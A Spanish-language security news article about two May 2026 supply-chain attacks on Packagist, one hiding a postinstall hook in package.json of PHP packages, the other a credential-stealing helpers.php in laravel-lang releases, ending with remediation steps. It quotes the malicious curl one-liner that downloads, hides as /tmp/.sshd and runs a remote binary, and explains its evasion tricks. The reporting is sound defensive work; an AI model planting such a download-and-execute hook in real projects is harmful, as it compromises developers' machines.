← Volver a artículos
Seguridad· 3 min de lectura

Ataque a la cadena de suministro de Packagist: malware Linux escondido en package.json

A finales de mayo de 2026 dos campañas distintas golpearon el repositorio de paquetes PHP Packagist casi al mismo tiempo. Lo llamativo es dónde se escondía el código malicioso: en ninguno de los dos casos estaba en composer.json, el sitio donde un desarrollador de PHP miraría primero.

El truco del package.json

La primera campaña afectó a ocho paquetes de Packagist. Entre ellos había proyectos populares como devdojo/wave, un starter kit SaaS para Laravel con más de 6.400 estrellas en GitHub, y devdojo/genesis, con unas 9.100 instalaciones registradas en Packagist. La lista completa que documentó Socket incluía también moritz-sauer-13/silverstripe-cms-theme, crosiersource/crosierlib-base, katanaui/katana, elitedevsquad/sidecar-laravel, r2luna/brain y baskarcm/tzi-chat-ui.

Son paquetes PHP, pero el atacante no tocó la parte de Composer. Insertó un hook postinstall en el package.json que esos proyectos arrastran junto al código PHP por traer herramientas de build en JavaScript. El payload era una sola línea:

curl -skL https://github.com/.../releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &

Cada detalle está pensado para pasar desapercibido. El flag -k de curl desactiva la verificación TLS, 2>/dev/null silencia cualquier error, el binario se descarga desde una URL de GitHub Releases y se guarda como /tmp/.sshd para fingir que es un proceso de sistema legítimo. Después se le da permiso de ejecución y se lanza en segundo plano. Quien hiciera npm install en un proyecto que dependiera de uno de estos paquetes en su rama de desarrollo acababa ejecutando un binario remoto en su máquina Linux sin enterarse.

El riesgo es mayor en wave y genesis porque su package.json malicioso aterriza en la raíz del proyecto, justo donde npm install dispara el postinstall.

El segundo frente: laravel-lang

En paralelo, los días 22 y 23 de mayo otro atacante republicó cientos de versiones (alrededor de 700, según Snyk) de cuatro librerías de localización del namespace laravel-lang, reutilizando etiquetas de release históricas. Aquí el método fue distinto: un fichero helpers.php enganchado a la entrada autoload.files de Composer, de modo que el código se ejecutaba en cada petición PHP nada más instalar el paquete. El objetivo era robar credenciales de los desarrolladores.

El acceso a esos repositorios vino de un Personal Access Token de GitHub filtrado, presuntamente procedente de una brecha reciente en GitHub. No hizo falta romper nada: bastó con un token que no debería haber estado expuesto.

A quién afecta y qué hacer

El daño se concentra en equipos que siguen ramas de desarrollo (dev-main, dev-master, 3.x-dev) en lugar de versiones fijadas, porque ahí el contenido cambia según evoluciona el upstream. Si has instalado alguno de los paquetes citados desde una rama de desarrollo en mayo de 2026, conviene asumir compromiso.

Los pasos razonables: revisar si existe un /tmp/.sshd en las máquinas afectadas y matar el proceso, inspeccionar los package.json que vienen dentro de dependencias además de los composer.json, rotar cualquier credencial o token que pudiera estar en el entorno del IDE o del CI, y fijar versiones concretas en lugar de seguir ramas vivas. Packagist retiró los paquetes maliciosos y revocó los accesos comprometidos. Si gestionas dependencias PHP en producción, este episodio recuerda por qué conviene saber qué hace cada gestor de paquetes que usas y bloquear las versiones.

Fuente